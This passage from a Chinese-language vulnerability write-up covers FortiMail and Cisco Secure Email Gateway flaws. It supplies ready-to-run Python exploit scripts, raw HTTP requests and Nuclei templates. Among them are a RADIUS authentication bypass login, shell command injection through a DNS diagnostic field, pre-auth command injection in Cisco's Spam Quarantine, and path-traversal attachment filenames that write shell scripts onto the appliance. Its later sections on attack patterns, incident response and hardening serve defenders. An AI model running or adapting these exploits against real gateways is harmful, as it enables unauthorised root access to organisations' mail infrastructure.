- https://www.fortiguard.com/psirt/FG-IR-25-233
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cwe-id : CWE-121
tags : cve,cve2025,fortinet,fortimail,rce,overflow
http :
- method : GET
path :
- "{{BaseURL}}/"
headers :
Cookie : "SVPNCA=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
matchers-condition : and
matchers :
- type : word
words :
- "FortiMail"
- "Fortinet"
condition : or
- type : status
status :
- 200
- 500
extractors :
- type : regex
regex :
- "(?i)fortimail.*?v?([\\d.]+)" 0x03.2 CVE-2023-47539 — RADIUS 认证绕过 漏洞背景 CVE-2023-47539 是 FortiMail 中一个认证绕过漏洞 ,CVSS 评分 9.8。当 FortiMail 配置为使用 RADIUS 认证且启用了 remote_wildcard 选项时,攻击者可以绕过认证机制,以管理员身份访问 FortiMail Web 管理界面。
受影响版本 版本 受影响版本 修复版本 FortiMail 7.4.0 7.4.0 7.4.1+
漏洞原理分析 FortiMail 支持通过 RADIUS 服务器进行外部认证。在特定配置下,当管理员在 RADIUS 配置中启用了 remote_wildcard 选项(用于匹配任意用户名)时,FortiMail 的访问控制逻辑存在缺陷:系统未正确验证用户是否通过了 RADIUS 认证,导致攻击者可以使用任意用户名(如 admin)登录 Web 管理界面,无需提供正确密码。
触发条件 :
FortiMail 版本为 7.4.0 配置了 RADIUS 认证 RADIUS 配置中启用了 remote_wildcard 选项 HTTP PoC POST /admin/logincheck HTTP / 1.1
Host: target-fortimail:8443
Content-Type: application/x-www-form-urlencoded
username=admin&password=<any_password> Python PoC 脚本 #!/usr/bin/env python3
import argparse
import urllib.request
import urllib.parse
import urllib.error
import ssl
import re
def check_auth_bypass (target_host, target_port):
ctx = ssl. create_default_context()
ctx. check_hostname = False
ctx. verify_mode = ssl. CERT_NONE
base_url = f "https:// { target_host} : { target_port} "
try :
url = f " { base_url} /admin/logincheck"
data = urllib. parse. urlencode({
'username' : 'admin' ,
'password' : 'randompass12345'
}). encode('utf-8' )
req = urllib. request. Request(url, data= data, method= 'POST' )
req. add_header('Content-Type' , 'application/x-www-form-urlencoded' )
with urllib. request. urlopen(req, timeout= 10 , context= ctx) as resp:
body = resp. read(). decode('utf-8' , errors= 'ignore' )
if 'success' in body. lower() or 'redirect' in body. lower():
print(f "[+] CVE-2023-47539 POSSIBLY VULNERABLE!" )
print(f "[+] Login with admin account may succeed" )
return True
except urllib. error. HTTPError as e:
print(f "[?] HTTP { e. code} from logincheck endpoint" )
except Exception as e:
print(f "[!] Error: { e} " )
try :
url = f " { base_url} /"
req = urllib. request. Request(url)
with urllib. request. urlopen(req, timeout= 10 , context= ctx) as resp:
body = resp. read(). decode('utf-8' , errors= 'ignore' )
if 'FortiMail' in body:
print(f "[+] { target_host} is FortiMail" )
except Exception :
pass
print(f "[-] { target_host} does not appear vulnerable to CVE-2023-47539" )
return False
if __name__ == "__main__" :
parser = argparse. ArgumentParser(
description= "CVE-2023-47539 FortiMail RADIUS auth bypass checker"
)
parser. add_argument('--target' , required= True , help= 'Target host' )
parser. add_argument('--port' , type= int, default= 8443 , help= 'Target port' )
args = parser. parse_args()
print(f "[*] Checking { args. target} : { args. port} for CVE-2023-47539..." )
check_auth_bypass(args. target, args. port) Nuclei YAML 检测模板 id : cve-2023-47539-fortimail-radius-auth-bypass
info :
name : FortiMail CVE-2023-47539 RADIUS Authentication Bypass
author : security-researcher
severity : critical
description : |
FortiMail 7.4.0 with RADIUS authentication and remote_wildcard
enabled allows authentication bypass.
reference :
- https://www.fortiguard.com/psirt/FG-IR-23-233
- https://nvd.nist.gov/vuln/detail/CVE-2023-47539
classification :
cvss-score : 9.8
cwe-id : CWE-287
tags : cve,cve2023,fortinet,fortimail,auth-bypass
http :
- method : GET
path :
- "{{BaseURL}}/"
- "{{BaseURL}}:8443/"
stop-at-first-match : true
matchers :
- type : word
words :
- "FortiMail"
- "fortimail"
condition : or
- method : POST
path :
- "{{BaseURL}}/admin/logincheck"
- "{{BaseURL}}:8443/admin/logincheck"
stop-at-first-match : true
body : "username=admin&password=testpass"
headers :
Content-Type : application/x-www-form-urlencoded
matchers :
- type : word
words :
- "success"
- "redirect"
- "token"
condition : or 0x03.3 CVE-2022-27488 — OS 命令注入 漏洞背景 CVE-2022-27488 是 FortiMail 中一个需认证的 OS 命令注入漏洞 ,CVSS 评分 8.8。攻击者在获取 FortiMail 管理员凭据后,可以通过 Web 管理界面的特定功能注入并执行系统命令。已有多个公开 PoC。
受影响版本 版本分支 受影响版本 修复版本 FortiMail 7.0.x 7.0.0 - 7.0.3 7.0.4+ FortiMail 6.4.x 6.4.0 - 6.4.6 6.4.7+ FortiMail 6.2.x 6.2.0 - 6.2.9 6.2.10+
漏洞原理分析 FortiMail Web 管理界面在执行某些系统管理操作(如 DNS 查询、ping 测试)时,会将用户输入的参数直接拼接到系统命令中执行。虽然这些功能本身需要管理员认证,但由于未对用户输入进行充分过滤,攻击者可以利用管道符(|)、分号(;)、反引号(`)等 shell 元字符注入任意命令。
攻击场景 :
攻击者获取 FortiMail 管理员凭据(通过社工、弱口令或其他漏洞) 登录 Web 管理界面 利用诊断功能(如 DNS lookup、ping)注入命令 以 root 权限执行任意系统命令 HTTP PoC POST /api/v2/system/diagnostic/dns HTTP / 1.1
Host: target-fortimail:8443
Content-Type: application/json
Authorization: Bearer <admin_token>
{"server" : "8.8.8.8" , "hostname" : "example.com;id" , "type" : "dnsquery" } Python PoC 脚本 #!/usr/bin/env python3
import argparse
import json
import urllib.request
import urllib.error
import ssl
import re
def exploit_cmd_injection (target_host, target_port, admin_token, command= "id" ):
ctx = ssl. create_default_context()
ctx. check_hostname = False
ctx. verify_mode = ssl. CERT_NONE
url = f "https:// { target_host} : { target_port} /api/v2/system/diagnostic/dns"
payload = json. dumps({
"server" : "8.8.8.8" ,
"hostname" : f "example.com; { command} " ,
"type" : "dnsquery"
}). encode('utf-8' )
try :
req = urllib. request. Request(url, data= payload, method= 'POST' )
req. add_header('Content-Type' , 'application/json' )
req. add_header('Authorization' , f 'Bearer { admin_token} ' )
with urllib. request. urlopen(req, timeout= 10 , context= ctx) as resp:
body = resp. read(). decode('utf-8' , errors= 'ignore' )
uid_match = re. search(r 'uid=\d+\(\w+\)' , body)
if uid_match:
print(f "[+] CVE-2022-27488 VULNERABLE!" )
print(f "[+] Output: { uid_match. group(0 )} " )
return True
print(f "[*] Response: { body[:500 ]} " )
except urllib. error. HTTPError as e:
print(f "[!] HTTP Error: { e. code} " )
except Exception as e:
print(f "[!] Error: { e} " )
print("[-] Could not confirm vulnerability" )
return False
def check_fortimail (target_host, target_port):
ctx = ssl. create_default_context()
ctx. check_hostname = False
ctx. verify_mode = ssl. CERT_NONE
try :
url = f "https:// { target_host} : { target_port} /"
req = urllib. request. Request(url)
with urllib. request. urlopen(req, timeout= 10 , context= ctx) as resp:
server = resp. headers. get('Server' , '' )
body = resp. read(). decode('utf-8' , errors= 'ignore' )
if 'FortiMail' in server or 'FortiMail' in body:
print(f "[+] { target_host} is FortiMail" )
return True
except Exception :
pass
print(f "[-] { target_host} does not appear to be FortiMail" )
return False
if __name__ == "__main__" :
parser = argparse. ArgumentParser(
description= "CVE-2022-27488 FortiMail OS command injection checker"
)
parser. add_argument('--target' , required= True , help= 'Target host' )
parser. add_argument('--port' , type= int, default= 8443 , help= 'Target port' )
parser. add_argument('--token' , required= True , help= 'Admin bearer token' )
parser. add_argument('--command' , default= 'id' , help= 'Command to test' )
args = parser. parse_args()
print(f "[*] Checking { args. target} : { args. port} for CVE-2022-27488..." )
check_fortimail(args. target, args. port)
exploit_cmd_injection(args. target, args. port, args. token, args. command) Nuclei YAML 检测模板 id : cve-2022-27488-fortimail-cmd-injection
info :
name : FortiMail CVE-2022-27488 OS Command Injection
author : security-researcher
severity : high
description : |
FortiMail diagnostic functions allow authenticated OS command
injection via unsanitized parameters.
reference :
- https://www.fortiguard.com/psirt/FG-IR-22-109
- https://nvd.nist.gov/vuln/detail/CVE-2022-27488
classification :
cvss-score : 8.8
cwe-id : CWE-78
tags : cve,cve2022,fortinet,fortimail,rce,authenticated
http :
- method : GET
path :
- "{{BaseURL}}/"
matchers :
- type : word
words :
- "FortiMail"
- method : POST
path :
- "{{BaseURL}}/api/v2/system/diagnostic/dns"
headers :
Content-Type : application/json
body : '{"server":"8.8.8.8","hostname":"test.example.com;echo CVE-2022-27488","type":"dnsquery"}'
matchers :
- type : word
words :
- "CVE-2022-27488"
condition : or
- type : word
words :
- "success"
- "result"
condition : or 0x04 Cisco Secure Email Gateway 高危漏洞 Cisco Secure Email Gateway (SEG) 是思科邮件安全产品线的核心,前身为 Cisco Email Security Appliance (ESA)。2025 年爆出的 CVE-2025-20393 以 CVSS 10.0 的满分评分,成为邮件安全网关领域最严重的漏洞之一。
0x04.1 CVE-2025-20393 — Spam Quarantine root RCE (CVSS 10.0) 漏洞背景 CVE-2025-20393 是 Cisco Secure Email Gateway 中一个输入验证不足导致的远程代码执行漏洞 ,CVSS 评分 10.0(满分) ,已被 CISA 加入 KEV 目录。该漏洞位于 Spam Quarantine(垃圾邮件隔离)功能中,攻击者无需认证即可发送特制 HTTP 请求,以 root 权限 在设备上执行任意代码。
中国关联 APT 组织 UAT-9686 已在零日阶段利用该漏洞,部署 AquaShell 后门和 Chisel 隧道工具,对全球目标实施间谍活动。
受影响版本 产品 受影响版本 修复版本 Cisco SEG (AsyncOS) 特定版本(详见 Cisco 公告) 厂商补丁 Cisco ESA 同上 厂商补丁 Cisco SMA 同上 厂商补丁
该漏洞影响使用 Spam Quarantine 功能的所有 Cisco SEG 部署。
漏洞原理分析 Cisco SEG 的 Spam Quarantine 功能允许管理员通过 Web 界面查看和管理被隔离的垃圾邮件。该功能的后端处理程序在解析 HTTP 请求参数时,未对输入进行充分的验证和过滤,导致攻击者可以构造特制的 HTTP 请求实现命令注入。
关键特征 :
利用路径位于 Spam Quarantine 的 Web 管理接口 输入验证不足导致命令注入 以 root 权限执行,获取设备完全控制权 无需认证(Pre-Auth) UAT-9686 利用链 :
UAT-9686 发送恶意 HTTP 请求到 Spam Quarantine 端点
│
▼ Cisco SEG 解析请求,触发命令注入
│
▼ 以 root 权限执行部署脚本
│
▼ 部署 AquaShell 后门(加密通信 C2)
│
▼ 部署 Chisel 隧道工具(内网穿透)
│
▼ 持久化监控邮件流量 + 内网横向移动HTTP PoC POST /quarantine/api/search HTTP / 1.1
Host: target-cisco-seg:8443
Content-Type: application/json
{"query" : "test;id" , "sort" : "date" , "order" : "desc" } Python PoC 脚本 #!/usr/bin/env python3
import argparse
import json
import urllib.request
import urllib.error
import ssl
import re
def check_cisco_seg (target_host, target_port):
ctx = ssl. create_default_context()
ctx. check_hostname = False
ctx. verify_mode = ssl. CERT_NONE
try :
url = f "https:// { target_host} : { target_port} /"
req = urllib. request. Request(url)
with urllib. request. urlopen(req, timeout= 10 , context= ctx) as resp:
body = resp. read(). decode('utf-8' , errors= 'ignore' )
headers = dict(resp. headers)
if 'AsyncOS' in body or 'Cisco' in body or 'IronPort' in body:
print(f "[+] { target_host} appears to be Cisco SEG/ESA" )
return True
server = headers. get('Server' , '' )
if 'AsyncOS' in server or 'Cisco' in server:
print(f "[+] { target_host} Server: { server} " )
return True
except Exception :
pass
print(f "[-] { target_host} does not appear to be Cisco SEG" )
return False
def check_spam_quarantine (target_host, target_port):
ctx = ssl. create_default_context()
ctx. check_hostname = False
ctx. verify_mode = ssl. CERT_NONE
quarantine_paths = [
"/quarantine/" ,
"/quarantine/api/" ,
"/quarantine/api/search" ,
"/sms/quarantine" ,
]
found = False
for path in quarantine_paths:
url = f "https:// { target_host} : { target_port}{ path} "
try :
req = urllib. request. Request(url)
with urllib. request. urlopen(req, timeout= 10 , context= ctx) as resp:
status = resp. status
body = resp. read(). decode('utf-8' , errors= 'ignore' )
if status != 404 :
print(f "[+] Quarantine endpoint found: { path} (HTTP { status} )" )
found = True
if 'quarantine' in body. lower():
print(f "[+] Spam Quarantine functionality appears active" )
except urllib. error. HTTPError as e:
if e. code != 404 :
print(f "[?] { path} returned HTTP { e. code} " )
except Exception :
pass
return found
def check_vulnerability (target_host, target_port):
ctx = ssl. create_default_context()
ctx. check_hostname = False
ctx. verify_mode = ssl. CERT_NONE
payload = {"query" : "test" , "__test__" : "echo CVE-2025-20393" }
url = f "https:// { target_host} : { target_port} /quarantine/api/search"
try :
data = json. dumps(payload). encode('utf-8' )
req = urllib. request. Request(url, data= data, method= 'POST' )
req. add_header('Content-Type' , 'application/json' )
with urllib. request. urlopen(req, timeout= 10 , context= ctx) as resp:
body = resp. read(). decode('utf-8' , errors= 'ignore' )
if 'CVE-2025-20393' in body:
print(f "[+] CVE-2025-20393 VULNERABLE!" )
return True
if 'uid=' in body:
print(f "[+] CVE-2025-20393 VULNERABLE! (command output detected)" )
return True
except urllib. error. HTTPError as e:
print(f "[?] HTTP { e. code} - may indicate processing of input" )
except Exception as e:
print(f "[!] Error: { e} " )
print("[-] Could not confirm CVE-2025-20393 vulnerability" )
return False
if __name__ == "__main__" :
parser = argparse. ArgumentParser(
description= "CVE-2025-20393 Cisco SEG Spam Quarantine RCE checker"
)
parser. add_argument('--target' , required= True , help= 'Target host' )
parser. add_argument('--port' , type= int, default= 8443 , help= 'Target port' )
args = parser. parse_args()
print(f "[*] Checking { args. target} : { args. port} for CVE-2025-20393..." )
if check_cisco_seg(args. target, args. port):
check_spam_quarantine(args. target, args. port)
check_vulnerability(args. target, args. port) Nuclei YAML 检测模板 id : cve-2025-20393-cisco-seg-spam-quarantine-rce
info :
name : Cisco SEG CVE-2025-20393 Spam Quarantine Root RCE
author : security-researcher
severity : critical
description : |
Cisco Secure Email Gateway Spam Quarantine feature contains
an input validation vulnerability allowing unauthenticated
root-level remote code execution via crafted HTTP requests.
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2025-20393
- https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-seg-spam-rce
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score : 10.0
cwe-id : CWE-20
tags : cve,cve2025,cisco,seg,rce,quarantine
http :
- method : GET
path :
- "{{BaseURL}}/"
matchers-condition : and
matchers :
- type : word
words :
- "AsyncOS"
- "Cisco"
- "Email Security"
condition : or
- method : POST
path :
- "{{BaseURL}}/quarantine/api/search"
- "{{BaseURL}}/sms/quarantine"
stop-at-first-match : true
headers :
Content-Type : application/json
body : '{"query":"test","__nuclei_test__":"echo CVE-2025-20393"}'
matchers :
- type : word
words :
- "CVE-2025-20393"
- "uid="
condition : or 0x04.2 CVE-2024-20401 — 文件分析路径遍历 漏洞背景 CVE-2024-20401 是 Cisco Secure Email Gateway 中一个路径遍历漏洞 ,CVSS 评分 9.8。该漏洞存在于文件分析和内容过滤功能处理邮件附件时的路径处理逻辑中,攻击者可以通过构造包含路径遍历序列的文件名覆盖系统上的任意文件。
受影响版本 产品 受影响版本 修复版本 Cisco SEG (AsyncOS) 特定版本 厂商补丁
漏洞原理分析 Cisco SEG 在处理邮件附件进行文件分析和内容过滤时,会将附件保存到临时目录。如果攻击者在邮件附件的文件名中包含路径遍历序列(如 ../../),这些序列不会被过滤,导致文件被写入到非预期的位置。攻击者可以通过覆盖关键配置文件或可执行文件,实现远程代码执行。
攻击链路 :
攻击者发送含恶意文件名附件的邮件
│ 附件文件名: ../../../../etc/cron.d/backdoor
│
▼ Cisco SEG 接收邮件并进行内容过滤
│
▼ 文件分析组件处理附件,使用原始文件名写入临时目录
│
▼ 路径遍历导致文件写入到目标路径
│
▼ 覆盖 crontab / 配置文件 / WebShell
│
▼ 实现持久化或远程代码执行可被覆盖的高价值目标 :
/etc/cron.d/ — 写入定时任务实现持久化Web 应用目录 — 植入 WebShell 配置文件 — 修改邮件路由规则 临时脚本 — 覆盖后触发执行 HTTP PoC POST /analyze HTTP / 1.1
Host: target-cisco-seg:8443
Content-Type: multipart/form-data; boundary=----boundary
------boundary
Content-Disposition: form-data; name="attachment"; filename="../../tmp/evil.sh"
Content-Type: application/x-sh
#!/bin/bash
id > /tmp/pwned
------boundary-- Python PoC 脚本 #!/usr/bin/env python3
import argparse
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.mime.text import MIMEText
from email import encoders
def create_path_traversal_attachment (filename, content= "#!/bin/bash \n id > /tmp/pwned \n " ):
payload_name = f "../../tmp/ { filename} "
msg = MIMEMultipart()
part = MIMEBase('application' , 'octet-stream' )
part. set_payload(content. encode('utf-8' ))
encoders. encode_base64(part)
part. add_header('Content-Disposition' , 'attachment' , filename= payload_name)
return part
def send_test_email (smtp_host, smtp_port, sender, recipient, target_seg_host):
msg = MIMEMultipart()
msg['From' ] = sender
msg['To' ] = recipient
msg['Subject' ] = "CVE-2024-20401 Detection Test"
msg['X-Originating-IP' ] = '[10.0.0.1]'
msg. attach(MIMEText("Security validation" , 'plain' ))
attachment = create_path_traversal_attachment(
"cve202420401test.sh" ,
"echo CVE-2024-20401-DETECTED > /tmp/cve_test"
)
msg. attach(attachment)
with smtplib. SMTP(smtp_host, smtp_port) as server:
server. sendmail(sender, recipient, msg. as_string())
print(f "[*] Path traversal test email sent via { target_seg_host} " )
def check_cisco_seg (target_host, target_port):
import urllib.request
import ssl
ctx = ssl. create_default_context()
ctx. check_hostname = False
ctx. verify_mode = ssl. CERT_NONE
try :
url = f "https:// { target_host} : { target_port} /"
req = urllib. request. Request(url)
with urllib. request. urlopen(req, timeout= 10 , context= ctx) as resp:
body = resp. read(). decode('utf-8' , errors= 'ignore' )
if 'AsyncOS' in body or 'Cisco' in body:
print(f "[+] { target_host} appears to be Cisco SEG/ESA" )
return True
except Exception :
pass
print(f "[-] { target_host} does not appear to be Cisco SEG" )
return False
if __name__ == "__main__" :
parser = argparse. ArgumentParser(
description= "CVE-2024-20401 Cisco SEG path traversal detection"
)
subparsers = parser. add_subparsers(dest= 'action' , required= True )
check_parser = subparsers. add_parser('check' , help= 'Check if target is Cisco SEG' )
check_parser. add_argument('--target' , required= True , help= 'Target host' )
check_parser. add_argument('--port' , type= int, default= 8443 , help= 'Target port' )
mail_parser = subparsers. add_parser('send' , help= 'Send test email with path traversal' )
mail_parser. add_argument('--smtp-host' , required= True , help= 'Cisco SEG SMTP host' )
mail_parser. add_argument('--smtp-port' , type= int, default= 25 , help= 'SMTP port' )
mail_parser. add_argument('--sender' , required= True , help= 'Sender email' )
mail_parser. add_argument('--recipient' , required= True , help= 'Recipient email' )
mail_parser. add_argument('--seg-host' , required= True , help= 'Cisco SEG host for logging' )
args = parser. parse_args()
if args. action == 'check' :
check_cisco_seg(args. target, args. port)
elif args. action == 'send' :
send_test_email(args. smtp_host, args. smtp_port, args. sender, args. recipient, args. seg_host) Nuclei YAML 检测模板 id : cve-2024-20401-cisco-seg-path-traversal
info :
name : Cisco SEG CVE-2024-20401 File Analysis Path Traversal
author : security-researcher
severity : critical
description : |
Cisco Secure Email Gateway file analysis and content filtering
feature contains a path traversal vulnerability allowing arbitrary
file write via crafted attachment filenames.
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2024-20401
- https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-seg-file-traversal
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cwe-id : CWE-22
tags : cve,cve2024,cisco,seg,path-traversal
http :
- method : GET
path :
- "{{BaseURL}}/"
matchers-condition : and
matchers :
- type : word
words :
- "AsyncOS"
- "Cisco"
condition : or
- type : status
status :
- 200
- 302
- 401
condition : or 0x05 公开 PoC 收集情况与利用思路 1. PoC 收集情况总表 CVE GitHub PoC Exploit-DB Metasploit Nuclei 在野利用 CVE-2023-2868 ✅ 多个 ✅ ✅ MSF 模块 ✅ ✅ UNC4841 CVE-2023-7102 ⚠️ 有限 ❌ ❌ ✅ ✅ UNC4841 CVE-2023-0090 ✅ ⚠️ 有限 ❌ ✅ ⚠️ CVE-2023-0089 ⚠️ 有限 ❌ ❌ ✅ ⚠️ CVE-2024-3676 ⚠️ 有限 ❌ ❌ ✅ ❌ CVE-2023-47539 ⚠️ 有限 ❌ ❌ ✅ ⚠️ CVE-2025-32756 ✅ kn0x0x ✅ ⚠️ ✅ ✅ CVE-2022-27488 ✅ 多个 ✅ ❌ ✅ ⚠️ CVE-2025-20393 ⚠️ 有限 ❌ ❌ ✅ ✅ UAT-9686 CVE-2024-20401 ⚠️ 有限 ❌ ❌ ✅ ⚠️
2. 关键 PoC 仓库链接 3. 防守型验证思路 被动探测 :
使用 Nuclei 模板进行资产指纹识别,确认 SEG 厂商和版本 检查 HTTP 响应头中的 Server 字段特征 利用 Banner Grabbing 判断设备型号 主动验证(需授权) :
发送不含恶意 payload 的测试邮件,观察 SEG 处理行为 使用 PoC 脚本发送 id 或 echo 等无害命令验证漏洞存在性 在隔离实验室中复现完整利用链 网络层检测 :
部署 IDS/IPS 规则检测已知攻击特征 使用 Suricata/Snort 规则监控异常邮件流量 分析网络流量中的异常 HTTP 请求模式 0x06 共性攻击模式分析 模式 1:邮件附件处理链攻击 代表漏洞 :CVE-2023-2868(tar 文件名)、CVE-2023-7102(Excel 解析)、CVE-2024-20401(路径遍历)
邮件安全网关的核心功能是处理和扫描邮件附件,这天然形成了巨大的攻击面。附件处理链涉及多种文件格式解析器(tar、zip、rar、PDF、Excel、Word),每个解析器都可能成为漏洞触发点。
共性特征 :
攻击者通过发送包含恶意构造附件的邮件即可触发 文件名字段是最常见的注入点(未净化的字符串传递给命令执行函数) 第三方库的漏洞通过供应链传递到 SEG 产品 邮件附件在到达 SEG 时已经过编码转换(如 MIME/Base64),增加了安全过滤难度 防御要点 :
对附件文件名进行严格净化,过滤 shell 元字符 使用沙箱环境先解压扫描,再投递到主系统 定期更新第三方依赖库 实施最小权限原则,降低 SEG 进程权限 模式 2:认证逻辑缺陷 代表漏洞 :CVE-2023-47539(RADIUS 绕过)、CVE-2023-0089(需认证 eval)
SEG 的管理界面和 API 端点的认证机制是另一个常见攻击面。认证绕过漏洞可能出现在外部认证集成(RADIUS、LDAP)的实现缺陷中。
共性特征 :
认证配置的边界条件未被充分测试 外部认证协议(RADIUS)的集成引入了新的信任边界问题 “通配符匹配"等便捷配置选项可能破坏安全假设 防御要点 :
定期审计外部认证配置,确保没有旁路 管理接口部署在独立的管理 VLAN 中 实施多因素认证(MFA) 禁用不必要的认证配置选项 模式 3:Web 管理界面未认证访问 代表漏洞 :CVE-2023-0090(webservices eval)、CVE-2025-20393(Spam Quarantine)、CVE-2025-32756(hash cookie)
SEG 的 Web 管理界面通常暴露在管理网段,但多个漏洞允许攻击者无需认证即可通过 Web 端点执行危险操作。
共性特征 :
Perl/PHP CGI 脚本未对用户输入进行充分过滤 部分功能(如诊断、隔离查看)的 API 端点暴露了危险操作 会话管理机制(cookie hash)实现存在安全隐患 防御要点 :
将管理界面收敛到独立管理 VLAN,禁止互联网访问 部署 WAF 规则过滤异常参数 使用 VPN 或零信任网络访问(ZTNA)替代直接暴露 定期进行 Web 接口的渗透测试 模式 4:缓冲区溢出 → 内核级权限执行 代表漏洞 :CVE-2025-32756(栈溢出)
当 SEG 使用 C/C++ 编写的关键组件处理网络协议数据时,缓冲区溢出可能导致远程代码执行。
共性特征 :
栈溢出覆盖返回地址劫持控制流 通过精确构造溢出 payload 实现 RCE 可绕过 ASLR、NX 等内存保护机制 Fortinet 产品线(FortiGate/FortiMail/FortiProxy)共享漏洞代码库 防御要点 :
启用所有可用的编译时和运行时保护(ASLR、DEP、Stack Canary) 使用网络层防护拦截异常长度的 HTTP 请求 优先部署厂商提供的虚拟补丁 对于共享代码库的产品,一个漏洞可能影响多个产品线 模式 5:第三方组件供应链风险 代表漏洞 :CVE-2023-7102(Spreadsheet::ParseExcel)、CVE-2024-3676
SEG 产品集成了大量第三方组件和库,这些组件的漏洞会通过供应链传递到最终产品中。
共性特征 :
SEG 集成的 Perl 库、Python 库、Java 库各有独立漏洞 厂商对第三方组件的安全审计可能存在滞后 组件更新周期与 SEG 产品发布周期不同步 安全研究人员可能通过 SEG 发现上游组件漏洞 防御要点 :
要求厂商提供 SBOM(Software Bill of Materials) 追踪 SEG 使用的第三方组件的 CVE 情报 在 SEG 前端部署邮件格式检测和过滤 考虑使用虚拟化沙箱隔离附件处理 0x07 应急排查与防守建议 1. 紧急排查清单 检查项 操作 适用 CVE 确认 SEG 厂商和版本 检查 Web 管理界面或 show version 命令 全部 检查补丁状态 对照厂商安全公告确认已安装最新补丁 全部 排查 Barracuda ESG 检查是否在受影响版本范围,是否已更换设备 CVE-2023-2868 排查 FortiMail 检查是否使用 RADIUS + remote_wildcard 配置 CVE-2023-47539 排查 Cisco SEG 检查 Spam Quarantine 功能是否启用 CVE-2025-20393 检查 Web 日志 搜索异常路径访问和命令注入特征 全部 检查邮件日志 搜索包含恶意 tar/xls 附件的邮件记录 CVE-2023-2868 检查异常进程 查找 SEG 设备上的异常子进程和网络连接 全部
2. 日志关键字段表 日志源 关注字段 异常特征 Web 访问日志 URI path、query string、POST body /ws/、/quarantine/、shell 元字符邮件日志 附件文件名、MIME 类型 反引号文件名、路径遍历序列 系统日志 进程名、PID、调用栈 异常进程链(SEG 进程 → shell) 网络日志 源 IP、目的端口、协议 管理端口异常来源访问 防火墙日志 出站连接 SEG 设备异常出站连接
3. 紧急缓解措施 通用缓解 :
隔离管理接口 :立即将 SEG Web 管理界面收敛到独立管理 VLAN部署 WAF :在 SEG 前端部署 WAF 规则,过滤已知攻击特征启用网络层防护 :对 SEG 设备的出站连接实施严格白名单备份配置 :在打补丁前备份所有 SEG 配置厂商特定缓解 :
厂商 紧急措施 Barracuda 立即更换受影响 ESG 设备,不建议仅打补丁 Proofpoint 安装 8.20.0 patch 4583+,临时禁用 webservices 端点 Fortinet 升级至修复版本;如暂时无法升级,禁用远程管理接口 Cisco 安装厂商补丁,临时禁用 Spam Quarantine 功能
4. 长期安全加固建议 定期补丁管理 :建立 SEG 补丁跟踪机制,每月检查厂商安全公告最小权限原则 :限制 SEG 进程权限,使用专用非特权账户网络分段 :SEG 管理接口、SMTP 接口、Web 接口分别部署在独立 VLAN纵深防御 :SEG 不应作为唯一邮件安全层,在前端部署邮件格式检测安全监控 :部署 SIEM 规则监控 SEG 异常行为供应链安全 :要求厂商提供 SBOM,追踪第三方组件 CVE应急预案 :建立 SEG 失陷的应急预案,包括邮件路由切换方案定期渗透测试 :每年至少一次 SEG 专项安全评估0x08 参考资料 Barracuda ESG CVE-2023-2868 官方安全公告 NVD - CVE-2023-2868 NVD - CVE-2025-32756 Fortinet FortiGuard PSIRT FG-IR-25-233 CVE-2025-32756 PoC - GitHub NVD - CVE-2025-20393 Cisco Security Advisory cisco-sa-seg-spam-rce CISA Known Exploited Vulnerabilities Catalog Proofpoint CVE-2023-0090 安全公告 NVD - CVE-2024-20401 NVD - CVE-2023-47539 Fortinet FortiGuard PSIRT FG-IR-23-233 免责声明 :本文基于公开权威资料编写,所有漏洞分析和 PoC 代码仅用于授权安全测试环境中的防御验证。未经授权对目标系统进行漏洞探测属于违法行为。文中涉及的所有攻击技术均应在合法授权范围内使用。作者不对因不当使用本文内容导致的任何后果承担责任。